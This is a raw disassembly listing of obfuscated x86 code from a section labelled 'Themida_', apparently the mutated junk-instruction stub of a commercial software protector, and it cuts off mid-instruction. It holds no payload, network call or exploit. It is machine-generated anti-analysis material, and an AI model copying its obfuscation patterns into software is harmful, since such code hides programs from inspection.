--------------------------------------------------------------------------- loc_55ECD8: ; CODE XREF: Themida_:0056DD73j not edi add edi, 5E6F6801h mov ebx, edi jmp loc_55D57A ; --------------------------------------------------------------------------- loc_55ECE7: ; CODE XREF: Themida_:0056BB97j sub eax, 222E254Ah jmp loc_55E8E6 ; --------------------------------------------------------------------------- loc_55ECF1: ; CODE XREF: Themida_:005626D1j push 1E7C57F0h mov edx, [esp] jmp loc_5653EA ; --------------------------------------------------------------------------- loc_55ECFE: ; CODE XREF: Themida_:00564A04j push ebp jmp loc_560DE5 ; --------------------------------------------------------------------------- loc_55ED04: ; CODE XREF: Themida_:0056D8DAj mov eax, esp push edx mov edx, 23755CABh add edx, 0DC8AA359h add eax, edx pop edx add eax, 4 jmp loc_571C7E ; --------------------------------------------------------------------------- loc_55ED1F: ; CODE XREF: Themida_:00569B4Aj add esp, 4 push esi push 1787h push 371Ch push esp jmp loc_56F3EC ; --------------------------------------------------------------------------- loc_55ED33: ; CODE XREF: Themida_:00568530j push 2972h mov [esp], edi mov edi, 56270417h or ecx, edi jmp loc_55D99D ; --------------------------------------------------------------------------- loc_55ED47: ; CODE XREF: Themida_:00572114j pop ebx sub edx, 4D243466h add edx, 690D0B47h add edx, ecx jmp loc_55FF54 ; --------------------------------------------------------------------------- loc_55ED5B: ; CODE XREF: Themida_:00562C33j add esi, eax sub esi, 7403140Bh mov eax, [esp] push ebp mov ebp, esp jmp loc_56C7D1 ; --------------------------------------------------------------------------- loc_55ED6E: ; CODE XREF: Themida_:005674D7j mov [esp], esp add dword ptr [esp], 4 jmp loc_564702 ; --------------------------------------------------------------------------- loc_55ED7D: ; CODE XREF: Themida_:0056D83Ej pop esp mov [esp], esi not dword ptr [esp] pop esi jmp loc_55EA84 ; --------------------------------------------------------------------------- loc_55ED8A: ; CODE XREF: Themida_:0055F704j add eax, ebx pop ebx push 34C6h mov [esp], ebp mov ebp, 47722C24h push ebx jmp loc_56DE88 ; --------------------------------------------------------------------------- loc_55EDA0: ; CODE XREF: Themida_:00571E99j push edi push edi mov edi, esp add edi, 4 push esi mov esi, 4 jmp loc_5698C6 ; --------------------------------------------------------------------------- loc_55EDB5: ; CODE XREF: Themida_:0056F8A1j mov eax, 3B7D2636h jmp loc_56081F ; --------------------------------------------------------------------------- loc_55EDBF: ; CODE XREF: Themida_:0056C767j sub bh, ch jmp loc_564BBE ; --------------------------------------------------------------------------- loc_55EDC6: ; CODE XREF: Themida_:0056C7FBj mov ebx, 4 jmp loc_565CD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_55EDD0: ; CODE XREF: sub_59DB3D-31B8Aj add eax, 2 xchg eax, [esp+2Ch+var_2C] pop esp jmp sub_571676 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_55EDDE: ; CODE XREF: Themida_:00568E55j push edx mov edx, 427B7BA4h sub eax, edx pop edx add eax, edx add eax, 427B7BA4h push dword ptr [esp] push dword ptr [esp] jmp loc_5696C4 ; --------------------------------------------------------------------------- mov cx, [esp] push edx mov edx, esp push ecx mov ecx, 4 add edx, ecx mov ecx, [esp] add esp, 4 jmp loc_57012A ; --------------------------------------------------------------------------- loc_55EE16: ; CODE XREF: Themida_:00571A8Aj xchg eax, [esp] pop esp sub esp, 4 mov [esp], ebx mov bl, 0B8h dec bl jmp loc_57004B ; --------------------------------------------------------------------------- loc_55EE2C: ; CODE XREF: Themida_:0056A5CFj mov ebp, 30133819h jmp loc_56C129 ; --------------------------------------------------------------------------- loc_55EE36: ; CODE XREF: Themida_:0056AE27j sub esi, 74D440B1h jmp loc_55FD1F ; --------------------------------------------------------------------------- loc_55EE41: ; CODE XREF: Themida_:00567520j sub bh, dl pop edx jmp loc_566894 ; --------------------------------------------------------------------------- loc_55EE49: ; CODE XREF: Themida_:005655B5j add esi, ebp push ebx mov ebx, 324D27ACh add ebx, 0F9CE1A76h add esi, ebx mov ebx, [esp] add esp, 4 jmp loc_56F9D9 ; --------------------------------------------------------------------------- loc_55EE64: ; CODE XREF: Themida_:0056E96Bj dec eax sub eax, 5135456Ah add ecx, eax pop eax jmp loc_562377 ; --------------------------------------------------------------------------- loc_55EE72: ; CODE XREF: Themida_:005662DDj add ecx, 30245DD1h pop edx inc ecx jmp loc_55F233 ; --------------------------------------------------------------------------- loc_55EE7F: ; CODE XREF: Themida_:0056F693j mov eax, [esp] push esi mov esi, esp jmp loc_56F059 ; --------------------------------------------------------------------------- loc_55EE8A: ; CODE XREF: Themida_:0056E36Bj mov esi, 121D7FD4h xor ebx, esi pop esi not ebx xor ebx, 59C60A82h xor ebx, 0E607E07Dh add esi, ebx pop ebx mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push 4D8Eh mov [esp], eax push ecx push ebp jmp loc_56FD3C ; --------------------------------------------------------------------------- loc_55EEC6: ; CODE XREF: Themida_:005650DBj add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] add eax, 1 add eax, 29DC53E4h jmp loc_569357 ; --------------------------------------------------------------------------- loc_55EEE7: ; CODE XREF: Themida_:0056EA20j push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp push ecx mov ecx, 4 add ebp, ecx jmp loc_5607CE ; --------------------------------------------------------------------------- loc_55EEFE: ; CODE XREF: Themida_:00569402j push esp pop dword ptr [esp] push edx push 4 pop edx add [esp+4], edx mov edx, [esp] add esp, 4 push dword ptr [esp] jmp loc_56C13A ; --------------------------------------------------------------------------- loc_55EF1E: ; CODE XREF: Themida_:0057050Bj pop ebx add ebx, 4 push eax push ebp mov ebp, 4DB7439Fh jmp loc_564086 ; --------------------------------------------------------------------------- loc_55EF31: ; CODE XREF: Themida_:0055D32Fj mov edx, 462D5F62h jmp loc_563F99 ; --------------------------------------------------------------------------- loc_55EF3B: ; CODE XREF: Themida_:00568CCBj pop ecx sub ebp, 40964D6Bh add ebp, esi add ebp, 40964D6Bh pop esi add ebp, 4 xchg ebp, [esp] mov esp, [esp] add eax, 1E446A67h jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55EF5E: ; CODE XREF: Themida_:005703ACj add esi, 4 xchg esi, [esp] pop esp sub eax, 7C36103Fh add ecx, eax push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_561246 ; --------------------------------------------------------------------------- loc_55EF7D: ; CODE XREF: Themida_:00569D02j push ebx mov ebx, 58A30BB5h jmp loc_56DB3F ; --------------------------------------------------------------------------- loc_55EF88: ; CODE XREF: Themida_:00567554j xor [esp], ebp xor ebp, [esp] jmp loc_560C63 ; --------------------------------------------------------------------------- loc_55EF93: ; CODE XREF: Themida_:0055DAE7j push dword ptr [esp+4] push dword ptr [esp] jmp loc_56A99B ; --------------------------------------------------------------------------- lodsb jmp loc_564FCA ; --------------------------------------------------------------------------- loc_55EFA5: ; CODE XREF: Themida_:00570581j pop edi xor ecx, [esp] xor [esp], ecx jmp loc_55DC98 ; --------------------------------------------------------------------------- loc_55EFB1: ; CODE XREF: Themida_:00567EEBj xchg edi, [esp] pop esp jmp loc_56130A ; --------------------------------------------------------------------------- loc_55EFBA: ; CODE XREF: Themida_:0055EC3Fj inc esi dec esi jmp loc_55F40A ; --------------------------------------------------------------------------- loc_55EFC1: ; CODE XREF: Themida_:005634ECj push 4A9h mov [esp], ebx mov bh, 9Fh shr bh, 8 inc bh shr bh, 3 shl bh, 3 jmp loc_56B2C3 ; --------------------------------------------------------------------------- loc_55EFDB: ; CODE XREF: Themida_:00568ED0j add dword ptr [esp], 4FAC4578h pop edi push edx mov edx, 270447EAh jmp loc_56BC82 ; --------------------------------------------------------------------------- loc_55EFEE: ; CODE XREF: Themida_:0056A66Cj pop ebx xor ebp, 0B3B2985h not ebp shr ebp, 3 push 6F5h mov [esp], edi push esi jmp loc_567018 ; --------------------------------------------------------------------------- loc_55F008: ; CODE XREF: Themida_:00564178j mov ebp, 29236692h add esi, 15C30900h sub esi, ebp sub esi, 15C30900h pop ebp and eax, esi pop esi or edx, eax shl edx, 1 sub esp, 4 jmp loc_563B98 ; --------------------------------------------------------------------------- loc_55F02B: ; CODE XREF: Themida_:005659DCj push dword ptr [esp] pop eax add esp, 4 push 7642h jmp loc_563716 ; --------------------------------------------------------------------------- loc_55F03F: ; CODE XREF: Themida_:005725FEj mov edx, 2C2C11B6h and edx, 1FB96B7Eh shl edx, 2 jmp loc_56C355 ; --------------------------------------------------------------------------- loc_55F052: ; CODE XREF: Themida_:00568F83j add ebp, 4 push edi mov edi, 4 sub ebp, edi pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_56DCF4 ; --------------------------------------------------------------------------- loc_55F072: ; CODE XREF: Themida_:0056CA51j push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_56F9F1 ; --------------------------------------------------------------------------- loc_55F08C: ; CODE XREF: Themida_:0056D65Dj sub eax, edx jmp loc_55E0C7 ; --------------------------------------------------------------------------- loc_55F093: ; CODE XREF: Themida_:0056A1BFj pop ebx push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push esp pop ecx jmp loc_56EE45 ; --------------------------------------------------------------------------- loc_55F0AA: ; CODE XREF: Themida_:0056E825j mov ebx, 20887491h sub ebx, 0E1716289h neg ebx jmp loc_564793 ; --------------------------------------------------------------------------- loc_55F0BC: ; CODE XREF: Themida_:00561BFAj add eax, 4 add eax, 4 xchg eax, [esp] pop esp xor [esp], edx xor edx, [esp] xor [esp], edx mov ecx, [esp] add esp, 4 xor [esp], ecx xor ecx, [esp] xor [esp], ecx jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55F0E7: ; CODE XREF: Themida_:005600E4j add ebp, 61926375h sub ebp, 63871DDh mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], esi jmp loc_56970B ; --------------------------------------------------------------------------- loc_55F104: ; CODE XREF: Themida_:00565FE2j push 7A7Eh mov [esp], edi jmp loc_566C4D ; --------------------------------------------------------------------------- loc_55F111: ; CODE XREF: Themida_:00564E03j pop edi or eax, edi pop edi jmp loc_56C1CC ; --------------------------------------------------------------------------- loc_55F11A: ; CODE XREF: Themida_:00572609j neg esi sub esi, 170A71B7h add esi, 1716929Ah add ebx, esi pop esi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55F141: ; CODE XREF: Themida_:00572703j add esp, 4 push 0 push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 push 5FF9h mov [esp], ebx jmp loc_56BFA5 ; --------------------------------------------------------------------------- loc_55F166: ; CODE XREF: Themida_:005702F6j xchg ecx, [esp] jmp loc_565D23 ; --------------------------------------------------------------------------- loc_55F16E: ; CODE XREF: Themida_:0055F8F5j or edx, eax shl edx, 1 push ecx jmp loc_5633EE ; --------------------------------------------------------------------------- loc_55F178: ; CODE XREF: Themida_:00562CB0j dec cl jmp loc_56AA7E ; --------------------------------------------------------------------------- loc_55F17F: ; CODE XREF: Themida_:0056EEF8j shl byte ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55F188: ; CODE XREF: Themida_:0055D7CCj mov bh, 31h add ch, bh push dword ptr [esp] mov ebx, [esp] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push edx mov dl, ch push ecx mov ch, dl push eax mov al, ch mov bl, al pop eax mov ecx, [esp] jmp loc_55D372 ; --------------------------------------------------------------------------- loc_55F1BD: ; CODE XREF: Themida_:005707D4j pop ebx add ebp, 73C132EBh sub ebp, edx sub ebp, 73C132EBh pop edx jmp loc_5688A9 ; --------------------------------------------------------------------------- loc_55F1D2: ; CODE XREF: Themida_:0056F681j push eax push edi jmp loc_568B28 ; --------------------------------------------------------------------------- loc_55F1D9: ; CODE XREF: Themida_:005614A2j pop esi jmp loc_55E3DE ; --------------------------------------------------------------------------- loc_55F1DF: ; CODE XREF: Themida_:005726A7j add ebx, edx mov edx, [esp] add esp, 4 pop eax mov dx, [esp] jmp loc_5725F4 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_56A428 ; --------------------------------------------------------------------------- loc_55F1FD: ; CODE XREF: Themida_:0056EE96j add ebp, 0FB2128A2h mov edx, ebp jmp loc_564A03 ; --------------------------------------------------------------------------- loc_55F20A: ; CODE XREF: Themida_:0056ECF2j push edx jmp loc_56B0BD ; --------------------------------------------------------------------------- loc_55F210: ; CODE XREF: Themida_:00569052j sub ebx, 14EF1070h add ebx, ebp push edi jmp loc_569503 ; --------------------------------------------------------------------------- loc_55F21E: ; CODE XREF: Themida_:005629B4j mov ecx, ebp mov ebp, [esp] add esp, 4 push 78A2h jmp loc_5665F4 ; --------------------------------------------------------------------------- loc_55F233: ; CODE XREF: Themida_:0055EE7Aj xchg esi, ecx jmp loc_55FD33 ; --------------------------------------------------------------------------- loc_55F23A: ; CODE XREF: Themida_:00563EE3j sub ax, di pop edi mov si, [esp] add esp, 2 sub esp, 4 jmp loc_567BA8 ; --------------------------------------------------------------------------- loc_55F250: ; CODE XREF: Themida_:0056F17Fj push dword ptr [esp] pop eax push edx push esp pop edx push ecx mov ecx, 4 jmp loc_569F5A ; --------------------------------------------------------------------------- loc_55F262: ; CODE XREF: Themida_:0055DDC0j push dword ptr [esp] pop edi add esp, 4 xchg eax, edi jmp loc_56A076 ; --------------------------------------------------------------------------- loc_55F272: ; CODE XREF: Themida_:005607A8j pop ebx add ebx, 4 add ebx, 4 jmp loc_564133 ; --------------------------------------------------------------------------- loc_55F281: ; CODE XREF: Themida_:0056AD3Aj mov bl, 3Eh shr bl, 1 or bl, 97h xor bl, 12h shr bl, 7 add bl, 99h sub ah, bl pop ebx mov cl, 0ACh sub cl, 0F4h jmp loc_56E620 ; --------------------------------------------------------------------------- loc_55F29E: ; CODE XREF: Themida_:0056B73Cj push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], ebx push ebp mov ebp, 6879111Fh or ebp, 5AB17E23h jmp loc_55D760 ; --------------------------------------------------------------------------- loc_55F2C4: ; CODE XREF: Themida_:00561F65j push 60980876h jmp loc_56AA31 ; --------------------------------------------------------------------------- loc_55F2CE: ; CODE XREF: Themida_:005694C2j add esp, 4 dec ebx shl ebx, 5 add ebx, 4DEB595h add edx, ebx pop ebx jmp loc_55E3C6 ; --------------------------------------------------------------------------- dw 2489h dd 4EC8324h, 0E9242C89h, 0D90Ah ; --------------------------------------------------------------------------- loc_55F2F4: ; CODE XREF: Themida_:00568F08j neg ecx shr ecx, 7 inc ecx add ecx, 0DECC474Eh jmp loc_5656C0 ; --------------------------------------------------------------------------- loc_55F305: ; CODE XREF: Themida_:00567AD5j xchg edx, [esp] jmp loc_55D9C6 ; --------------------------------------------------------------------------- loc_55F30D: ; CODE XREF: Themida_:00560E3Dj mov esp, [esp] mov [esp], edx push ebx jmp loc_562108 ; --------------------------------------------------------------------------- loc_55F319: ; CODE XREF: Themida_:0056A9A7j add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop edx jmp loc_565239 ; --------------------------------------------------------------------------- loc_55F338: ; CODE XREF: Themida_:0056BEB7j pop ebx xchg ebp, [esp] pop esp mov [esp], edi push 76A814F0h pop edi jmp loc_56D4DA ; --------------------------------------------------------------------------- loc_55F34B: ; CODE XREF: Themida_:0056745Fj pop eax push eax jmp loc_570D06 ; --------------------------------------------------------------------------- loc_55F352: ; CODE XREF: Themida_:00561E5Fj mov eax, 9AFB9AE4h add eax, esi pop esi sub esp, 4 mov [esp], ecx push edx mov edx, 58D62716h jmp loc_569646 ; --------------------------------------------------------------------------- loc_55F36E: ; CODE XREF: Themida_:005670ACj add eax, 4A9527BBh sub eax, 74131809h jmp loc_560402 ; --------------------------------------------------------------------------- loc_55F37D: ; CODE XREF: Themida_:005729ACj push esi push 325h mov [esp], edi jmp loc_56637A ; --------------------------------------------------------------------------- loc_55F38B: ; CODE XREF: Themida_:0056F66Aj add esi, edi pop edi xor esi, 236E6FB9h add edx, esi pop esi jmp loc_566547 ; --------------------------------------------------------------------------- loc_55F39C: ; CODE XREF: Themida_:005700BCj add esi, 0E7496F7Ah sub edi, esi pop esi push eax push 127E3A6Bh pop eax xor eax, 72A327B2h sub edi, eax jmp loc_56E797 ; --------------------------------------------------------------------------- loc_55F3B8: ; CODE XREF: Themida_:00572763j mov eax, 5607A40h jmp loc_564027 ; --------------------------------------------------------------------------- loc_55F3C2: ; CODE XREF: Themida_:0055D60Cj pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_562CDA ; --------------------------------------------------------------------------- loc_55F3D1: ; CODE XREF: Themida_:0056B081j pop edi jmp loc_565A5C ; --------------------------------------------------------------------------- loc_55F3D7: ; CODE XREF: Themida_:00569C01j push eax jmp loc_55EB12 ; --------------------------------------------------------------------------- loc_55F3DD: ; CODE XREF: Themida_:0056BFADj add ebx, 7F8A6F3Fh jmp loc_55DDEB ; --------------------------------------------------------------------------- loc_55F3E8: ; CODE XREF: Themida_:0056DF06j pop ebp push edx mov edx, 6E857541h and edx, 4EE44DDDh shl edx, 6 jmp loc_56F56F ; --------------------------------------------------------------------------- loc_55F3FD: ; CODE XREF: Themida_:00563F94j add esp, 4 push 2862h jmp loc_56215F ; --------------------------------------------------------------------------- loc_55F40A: ; CODE XREF: Themida_:0055EFBCj not esi xor esi, 0F0002465h mov edi, esi pop esi jmp loc_55D5DE ; --------------------------------------------------------------------------- loc_55F41A: ; CODE XREF: Themida_:00570E71j add ebx, eax pop eax jmp loc_55FC13 ; --------------------------------------------------------------------------- loc_55F422: ; CODE XREF: Themida_:0056B156j mov [esp], ebx mov bh, 7Dh push 433Ah mov [esp], eax mov ah, bh jmp loc_56CAC1 ; --------------------------------------------------------------------------- loc_55F436: ; CODE XREF: Themida_:00560CECj sub eax, 2DB044C6h add eax, 20AD30ECh add eax, ecx sub eax, 20AD30ECh add eax, 2DB044C6h pop ecx xor eax, [esp] jmp loc_5728D5 ; --------------------------------------------------------------------------- loc_55F455: ; CODE XREF: Themida_:0055D3ACj add esp, 4 add esp, 4 push 64EAh mov [esp], ebx push ax push edx push ecx jmp loc_55EB4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_55F46F: ; CODE XREF: sub_59DB3D-40847j add edi, 4 jmp loc_570B64 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_55F47A: ; CODE XREF: Themida_:00563E45j push ebx sub esp, 4 jmp loc_56080E ; --------------------------------------------------------------------------- loc_55F486: ; CODE XREF: Themida_:00567994j push ebx jmp loc_572302 ; --------------------------------------------------------------------------- loc_55F48C: ; CODE XREF: Themida_:00565DCDj push 4F947BBAh mov ebx, [esp] add esp, 4 shl ebx, 5 xor ebx, 0F5374366h mov ecx, ebx pop ebx sub ebx, ecx mov ecx, [esp] add esp, 4 add ebx, 14780286h sub esp, 4 mov [esp], esi mov esi, 1A314554h push ebx mov ebx, 0EAC11924h add esi, ebx pop ebx add ebx, 632D725Ch sub ebx, esi jmp loc_56EC66 ; --------------------------------------------------------------------------- loc_55F4D8: ; CODE XREF: Themida_:0056C393j add edx, 49330072h and edx, 3D39455Eh jmp loc_57290A ; --------------------------------------------------------------------------- loc_55F4E9: ; CODE XREF: Themida_:005686E9j push dword ptr [esp+4] mov edi, [esp] jmp loc_56100C ; --------------------------------------------------------------------------- loc_55F4F5: ; CODE XREF: Themida_:0055F932j xor ebp, ecx pop ecx xor ebp, 624F644Ch jmp loc_56FC79 ; --------------------------------------------------------------------------- loc_55F503: ; CODE XREF: Themida_:005632C6j add ebx, eax pop eax push eax push ebx jmp loc_56C205 ; --------------------------------------------------------------------------- loc_55F50D: ; CODE XREF: Themida_:0056377Cj push edx jmp loc_562BAC ; --------------------------------------------------------------------------- loc_55F513: ; CODE XREF: Themida_:00571AF9j xor ebx, eax sub esp, 4 mov [esp], edi mov edi, 42657ECDh add edx, edi mov edi, [esp] add esp, 4 push ebx mov ebx, 37DE6718h push ebp mov ebp, 24C3031Fh or ebx, ebp pop ebp xor ebx, 79A563FEh dec ebx add ebx, 0BC91250Fh sub edx, ebx jmp loc_56387C ; --------------------------------------------------------------------------- loc_55F54B: ; CODE XREF: Themida_:0056B3F4j push esp jmp loc_56E618 ; --------------------------------------------------------------------------- loc_55F551: ; CODE XREF: Themida_:0056FD55j mov dl, ah push eax mov ah, dl sub esp, 4 jmp loc_5689AD ; --------------------------------------------------------------------------- loc_55F561: ; CODE XREF: Themida_:005636E6j push eax mov ah, 0B2h xor ah, 0DFh mov ch, ah pop eax sub bl, ch pop cx jmp loc_564F21 ; --------------------------------------------------------------------------- loc_55F573: ; CODE XREF: Themida_:0056E7BCj xchg edx, [esp] pop esp mov [esp], ebp jmp loc_5621B7 ; --------------------------------------------------------------------------- loc_55F57F: ; CODE XREF: Themida_:00571CFEj neg edx sub edx, 0B0A49B4h mov edi, edx pop edx jmp loc_56BE49 ; --------------------------------------------------------------------------- loc_55F58F: ; CODE XREF: Themida_:0057112Fj add dword ptr [esp], 4 mov eax, [esp] add esp, 4 add eax, 4 jmp loc_56B52B ; --------------------------------------------------------------------------- loc_55F5A6: ; CODE XREF: Themida_:005700F0j add al, dh pop dx jmp loc_55E403 ; --------------------------------------------------------------------------- loc_55F5AF: ; CODE XREF: Themida_:0056A244j mov edx, esp add edx, 4 add edx, 4 jmp loc_56F980 ; --------------------------------------------------------------------------- loc_55F5C2: ; CODE XREF: Themida_:0056B946j mov [esp], esi mov esi, 26B8635Bh xor eax, esi pop esi sub eax, 50704561h sub eax, 44432B59h add eax, edi push edi jmp loc_56BA56 ; --------------------------------------------------------------------------- loc_55F5DF: ; CODE XREF: Themida_:00565D1Ej and al, bh jmp loc_560A6B ; --------------------------------------------------------------------------- loc_55F5E6: ; CODE XREF: Themida_:0055E2F6j sub esi, 4 jmp loc_56D51E ; --------------------------------------------------------------------------- loc_55F5F1: ; CODE XREF: Themida_:00571C3Ej mov ebx, 29E90925h not ebx shl ebx, 3 dec ebx jmp loc_5719E6 ; --------------------------------------------------------------------------- loc_55F601: ; CODE XREF: Themida_:0055F6C5j pop ebx push ecx jmp loc_56CE47 ; --------------------------------------------------------------------------- loc_55F608: ; CODE XREF: Themida_:0056C15Ej pop ecx jmp loc_56D121 ; --------------------------------------------------------------------------- loc_55F60E: ; CODE XREF: Themida_:00572905j mov esi, 0D1DDFC80h add edi, esi mov esi, [esp] jmp loc_55F6E7 ; --------------------------------------------------------------------------- loc_55F61D: ; CODE XREF: Themida_:0055DEDEj add edx, ebp pop ebp push 5F41h mov [esp], edi mov edi, 2 add edx, edi mov edi, [esp] push edx jmp loc_56EBB5 ; --------------------------------------------------------------------------- loc_55F638: ; CODE XREF: Themida_:0056378Aj add esp, 4 sub dword ptr [esp+4], 59FF69A1h add dword ptr [esp+4], 5EF37C5Dh add [esp+4], eax sub dword ptr [esp+4], 5EF37C5Dh add dword ptr [esp+4], 59FF69A1h pop eax mov eax, [esp] jmp loc_57008E ; --------------------------------------------------------------------------- loc_55F66B: ; CODE XREF: Themida_:00572A4Bj push edx jmp loc_567CDA ; --------------------------------------------------------------------------- loc_55F671: ; CODE XREF: Themida_:005634C4j push edx mov edx, 1BAD00F3h sub ebx, edx pop edx xor ebx, 77FA189Fh push 7295h mov [esp], edi mov edi, 0F27F52A5h xor ebx, edi pop edi xor edx, ebx mov ebx, [esp] jmp loc_55DA3D ; --------------------------------------------------------------------------- loc_55F69A: ; CODE XREF: Themida_:00571C56j add bl, 0C3h push ecx mov ch, 0E1h add bl, ch jmp loc_566DD4 ; --------------------------------------------------------------------------- mov ax, [esp] push eax push esp mov eax, [esp] jmp loc_568C6B ; --------------------------------------------------------------------------- loc_55F6B5: ; CODE XREF: Themida_:005654C0j xor edi, [esp] jmp loc_568A2E ; --------------------------------------------------------------------------- loc_55F6BD: ; CODE XREF: Themida_:00562A7Fj push ebx mov ebx, 4 add edx, ebx jmp loc_55F601 ; --------------------------------------------------------------------------- loc_55F6CA: ; CODE XREF: Themida_:00561483j mov ebp, eax pop eax jmp loc_56A3B7 ; --------------------------------------------------------------------------- loc_55F6D2: ; CODE XREF: Themida_:0056AEC3j mov [esp], ecx mov ecx, esp push eax mov eax, 679E2BFDh add eax, 9861D407h jmp loc_564556 ; --------------------------------------------------------------------------- loc_55F6E7: ; CODE XREF: Themida_:0055F618j add esp, 4 sub eax, 562D1357h add eax, edi add eax, 562D1357h pop edi add eax, esi sub eax, 2FA57B1Ch push ebx mov ebx, 7381A14h jmp loc_55ED8A ; --------------------------------------------------------------------------- loc_55F709: ; CODE XREF: Themida_:005658A2j add esp, 4 push 3FA4h jmp loc_570FA6 ; --------------------------------------------------------------------------- loc_55F716: ; CODE XREF: Themida_:0056AAECj add ebx, eax pop eax add ebx, edi jmp loc_571748 ; --------------------------------------------------------------------------- loc_55F720: ; CODE XREF: Themida_:0055FA03j and esi, 1DE90296h or esi, 238D207Eh add esi, 0DC72DD06h add ebx, esi jmp loc_5615B3 ; --------------------------------------------------------------------------- loc_55F739: ; CODE XREF: Themida_:00560F06j sub eax, edx mov edx, [esp] add esp, 4 push ecx mov ecx, 201C18E0h shr ecx, 8 add ecx, 23AB1F9Fh add eax, ecx mov ecx, [esp] add esp, 4 not eax jmp loc_56831E ; --------------------------------------------------------------------------- push edx mov edx, 494B5161h sub edx, 1 xchg edi, edx xchg ecx, edi not ecx jmp loc_56F357 ; --------------------------------------------------------------------------- loc_55F77C: ; CODE XREF: Themida_:0056582Fj xor eax, [esp] mov esp, [esp] push ecx jmp loc_572773 ; --------------------------------------------------------------------------- loc_55F788: ; CODE XREF: Themida_:0056A801j push ebp mov ebp, 74857B8Fh jmp loc_56C1E0 ; --------------------------------------------------------------------------- loc_55F793: ; CODE XREF: Themida_:00564564j sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], ecx mov ecx, esp push edi mov edi, 4 add ecx, 2EC36A97h add ecx, 5FE15F1Eh add ecx, edi sub ecx, 5FE15F1Eh jmp loc_56633E ; --------------------------------------------------------------------------- loc_55F7C8: ; CODE XREF: Themida_:0056EF22j mov [esp], esi mov esi, 4 add ecx, esi pop esi push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp mov ebp, 44F36653h add [esp+4], ebp pop ebp add dword ptr [esp], 0F283187h add dword ptr [esp], 72AE0997h add [esp], eax push esi mov esi, 72AE0997h sub [esp+4], esi mov esi, [esp] add esp, 4 jmp loc_57249E ; --------------------------------------------------------------------------- loc_55F820: ; CODE XREF: Themida_:00568A31j xor edi, [esp] jmp loc_57187A ; --------------------------------------------------------------------------- loc_55F828: ; CODE XREF: Themida_:00568240j sub ax, bx sub ax, 2510h mov bx, [esp] add esp, 2 push edi push esp pop edi add edi, 4 sub edi, 2 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_55D843 ; --------------------------------------------------------------------------- loc_55F856: ; CODE XREF: Themida_:0056C33Ej push ebp mov ebp, 4AF0466Fh jmp loc_568584 ; --------------------------------------------------------------------------- loc_55F861: ; CODE XREF: Themida_:00562518j push ebx push edx jmp loc_564F60 ; --------------------------------------------------------------------------- loc_55F868: ; CODE XREF: Themida_:0056723Dj sub ebx, 4 jmp loc_564307 ; --------------------------------------------------------------------------- loc_55F870: ; CODE XREF: Themida_:0056774Cj xor esi, 830B9D15h mov ebx, esi pop esi jmp loc_56C8F9 ; --------------------------------------------------------------------------- loc_55F87E: ; CODE XREF: Themida_:00564508j push edi mov edi, 28BD6708h not edi not edi sub edi, 0D6DF9F33h jmp loc_565486 ; --------------------------------------------------------------------------- loc_55F893: ; CODE XREF: Themida_:00560EF5j mov ecx, [esp] add esp, 4 sub edx, 9D9EAC9Dh jmp loc_5640D0 ; --------------------------------------------------------------------------- loc_55F8A4: ; CODE XREF: Themida_:00568B90j sub ebx, 20BE4E5Eh jmp loc_570586 ; --------------------------------------------------------------------------- loc_55F8AF: ; CODE XREF: Themida_:0056C135j mov esp, [esp] shl dword ptr [esp], cl jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55F8BA: ; CODE XREF: Themida_:0056E9CBj xor eax, 10886h sub ebx, eax pop eax xchg ebx, [esp] mov esp, [esp] mov [esp], eax push 39BEh jmp loc_571004 ; --------------------------------------------------------------------------- loc_55F8D5: ; CODE XREF: Themida_:00572AA5j sub edi, ebx add edi, 41472010h jmp loc_55E7D9 ; --------------------------------------------------------------------------- loc_55F8E2: ; CODE XREF: Themida_:0055E4EEj pop edi add edi, 4 push eax mov eax, 7A201728h jmp loc_56BFFC ; --------------------------------------------------------------------------- loc_55F8F4: ; CODE XREF: Themida_:005682DEj pop ecx jmp loc_55F16E ; --------------------------------------------------------------------------- loc_55F8FA: ; CODE XREF: Themida_:0056E303j shr cl, 6 sub cl, 16h shl cl, 5 shl cl, 6 push bx push edx mov dh, cl mov bh, dh pop edx not bh sub esp, 4 mov [esp], eax push edx mov dh, bh jmp loc_56E603 ; --------------------------------------------------------------------------- loc_55F91E: ; CODE XREF: Themida_:005725CDj pop eax or ebp, 550314B2h push 356Fh mov [esp], ecx mov ecx, 3F903986h jmp loc_55F4F5 ; --------------------------------------------------------------------------- loc_55F937: ; CODE XREF: Themida_:0056C5F7j sub eax, esi jmp loc_56E89E ; --------------------------------------------------------------------------- loc_55F93E: ; CODE XREF: Themida_:005674CCj pop ebp push esi jmp 